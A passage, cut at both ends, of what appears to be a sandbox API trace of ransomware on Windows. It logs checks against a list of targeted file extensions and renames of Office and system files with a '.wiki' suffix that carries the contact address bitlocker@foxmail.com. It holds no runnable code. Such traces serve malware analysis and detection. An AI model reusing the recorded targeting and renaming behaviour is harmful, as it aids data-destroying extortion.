lpString2=".mui") returned -1 [0147.960] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.960] lstrlenW (lpString=".jpg") returned 4 [0147.960] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.960] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.960] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.960] lstrlenW (lpString=".doc") returned 4 [0147.960] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.960] lstrlenW (lpString=".docx") returned 5 [0147.960] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.960] lstrlenW (lpString=".pdf") returned 4 [0147.960] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.960] lstrlenW (lpString=".xls") returned 4 [0147.960] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.960] lstrlenW (lpString=".xlsx") returned 5 [0147.960] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.960] lstrlenW (lpString=".ppt") returned 4 [0147.960] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.960] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.960] lstrlenW (lpString=".zip") returned 4 [0147.960] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.960] lstrlenW (lpString=".rar") returned 4 [0147.960] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.960] lstrlenW (lpString=".bz2") returned 4 [0147.960] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.961] lstrlenW (lpString=".7z") returned 3 [0147.961] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.961] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.961] lstrlenW (lpString=".dbf") returned 4 [0147.961] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.961] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.961] lstrlenW (lpString=".1cd") returned 4 [0147.961] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.961] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.961] lstrlenW (lpString=".jpg") returned 4 [0147.961] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.961] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0147.961] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0147.961] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0147.961] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=87616) returned 1 [0147.961] CloseHandle (hObject=0x1c0) returned 1 [0147.961] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0147.961] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0147.962] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.962] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.962] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.962] lstrlenW (lpString=".doc") returned 4 [0147.962] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.962] lstrlenW (lpString=".docx") returned 5 [0147.962] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.962] lstrlenW (lpString=".pdf") returned 4 [0147.962] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.962] lstrlenW (lpString=".xls") returned 4 [0147.962] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.962] lstrlenW (lpString=".xlsx") returned 5 [0147.962] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.962] lstrlenW (lpString=".ppt") returned 4 [0147.962] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.962] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.962] lstrlenW (lpString=".zip") returned 4 [0147.962] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.962] lstrlenW (lpString=".rar") returned 4 [0147.962] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.962] lstrlenW (lpString=".bz2") returned 4 [0147.962] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.962] lstrlenW (lpString=".7z") returned 3 [0147.962] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.962] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.962] lstrlenW (lpString=".dbf") returned 4 [0147.962] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.962] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.962] lstrlenW (lpString=".1cd") returned 4 [0147.962] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.962] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.962] lstrlenW (lpString=".jpg") returned 4 [0147.963] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.963] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.963] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.963] lstrlenW (lpString=".doc") returned 4 [0147.963] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.963] lstrlenW (lpString=".docx") returned 5 [0147.963] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.963] lstrlenW (lpString=".pdf") returned 4 [0147.963] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.963] lstrlenW (lpString=".xls") returned 4 [0147.963] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.963] lstrlenW (lpString=".xlsx") returned 5 [0147.963] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.963] lstrlenW (lpString=".ppt") returned 4 [0147.963] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.963] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.963] lstrlenW (lpString=".zip") returned 4 [0147.963] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.963] lstrlenW (lpString=".rar") returned 4 [0147.963] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.963] lstrlenW (lpString=".bz2") returned 4 [0147.963] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.963] lstrlenW (lpString=".7z") returned 3 [0147.963] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.963] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.963] lstrlenW (lpString=".dbf") returned 4 [0147.963] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.963] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.963] lstrlenW (lpString=".1cd") returned 4 [0147.963] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.963] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.963] lstrlenW (lpString=".jpg") returned 4 [0147.964] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.964] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0147.964] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0147.964] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0147.964] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=91712) returned 1 [0147.964] CloseHandle (hObject=0x1c0) returned 1 [0147.964] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0147.964] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0147.964] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.964] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.964] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.964] lstrlenW (lpString=".doc") returned 4 [0147.964] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.964] lstrlenW (lpString=".docx") returned 5 [0147.964] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.965] lstrlenW (lpString=".pdf") returned 4 [0147.965] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.965] lstrlenW (lpString=".xls") returned 4 [0147.965] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.965] lstrlenW (lpString=".xlsx") returned 5 [0147.965] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.965] lstrlenW (lpString=".ppt") returned 4 [0147.965] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.965] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.965] lstrlenW (lpString=".zip") returned 4 [0147.965] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.965] lstrlenW (lpString=".rar") returned 4 [0147.965] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.965] lstrlenW (lpString=".bz2") returned 4 [0147.965] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.965] lstrlenW (lpString=".7z") returned 3 [0147.965] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.965] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.965] lstrlenW (lpString=".dbf") returned 4 [0147.965] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.965] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.965] lstrlenW (lpString=".1cd") returned 4 [0147.965] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.965] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.965] lstrlenW (lpString=".jpg") returned 4 [0147.965] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.965] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.965] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.965] lstrlenW (lpString=".doc") returned 4 [0147.965] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.965] lstrlenW (lpString=".docx") returned 5 [0147.965] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.966] lstrlenW (lpString=".pdf") returned 4 [0147.966] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.966] lstrlenW (lpString=".xls") returned 4 [0147.966] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.966] lstrlenW (lpString=".xlsx") returned 5 [0147.966] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.966] lstrlenW (lpString=".ppt") returned 4 [0147.966] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.966] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.966] lstrlenW (lpString=".zip") returned 4 [0147.966] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.966] lstrlenW (lpString=".rar") returned 4 [0147.966] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.966] lstrlenW (lpString=".bz2") returned 4 [0147.966] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.966] lstrlenW (lpString=".7z") returned 3 [0147.966] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.966] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.966] lstrlenW (lpString=".dbf") returned 4 [0147.966] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.966] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.966] lstrlenW (lpString=".1cd") returned 4 [0147.966] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.966] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.966] lstrlenW (lpString=".jpg") returned 4 [0147.966] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.966] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0147.966] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0147.967] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0147.967] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=94800) returned 1 [0147.967] CloseHandle (hObject=0x1c0) returned 1 [0147.967] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0147.967] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0147.967] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.967] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0147.967] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0147.967] lstrlenW (lpString=".doc") returned 4 [0147.967] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.967] lstrlenW (lpString=".docx") returned 5 [0147.967] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.967] lstrlenW (lpString=".pdf") returned 4 [0147.967] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.967] lstrlenW (lpString=".xls") returned 4 [0147.967] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.967] lstrlenW (lpString=".xlsx") returned 5 [0147.967] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.967] lstrlenW (lpString=".ppt") returned 4 [0147.967] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.967] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0147.968] lstrlenW (lpString=".zip") returned 4 [0147.968] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.968] lstrlenW (lpString=".rar") returned 4 [0147.968] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.968] lstrlenW (lpString=".bz2") returned 4 [0147.968] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.968] lstrlenW (lpString=".7z") returned 3 [0147.968] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.969] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0148.180] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0149.757] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0149.778] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0149.786] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0149.800] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0150.393] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\DVDMaker.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0150.416] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\omdbase.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0150.417] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\omdproject.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0150.417] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\pipeline.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0150.417] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\pipetran.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0150.588] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0150.589] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0150.589] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0153.697] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=7384) returned 1 [0153.697] CloseHandle (hObject=0x338) returned 1 [0153.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid")) returned 0x20 [0153.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0153.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0160.686] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.687] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\grooveex.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\grooveex.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.690] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\infopath.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\infopath.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.694] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_resources14.xss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\installed_resources14.xss.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.695] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPDESIGN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ipdesign.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPDESIGN.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\ipdesign.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.696] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPEDITOR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ipeditor.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPEDITOR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\ipeditor.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.045] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLMAPI32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\olmapi32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLMAPI32.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\olmapi32.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.051] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\onenote.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTE.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\onenote.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.052] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONFILTER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\onfilter.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONFILTER.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\onfilter.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.053] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\onmain.dll"), lpNewFileName="C:\\Program Files\\Microsoft 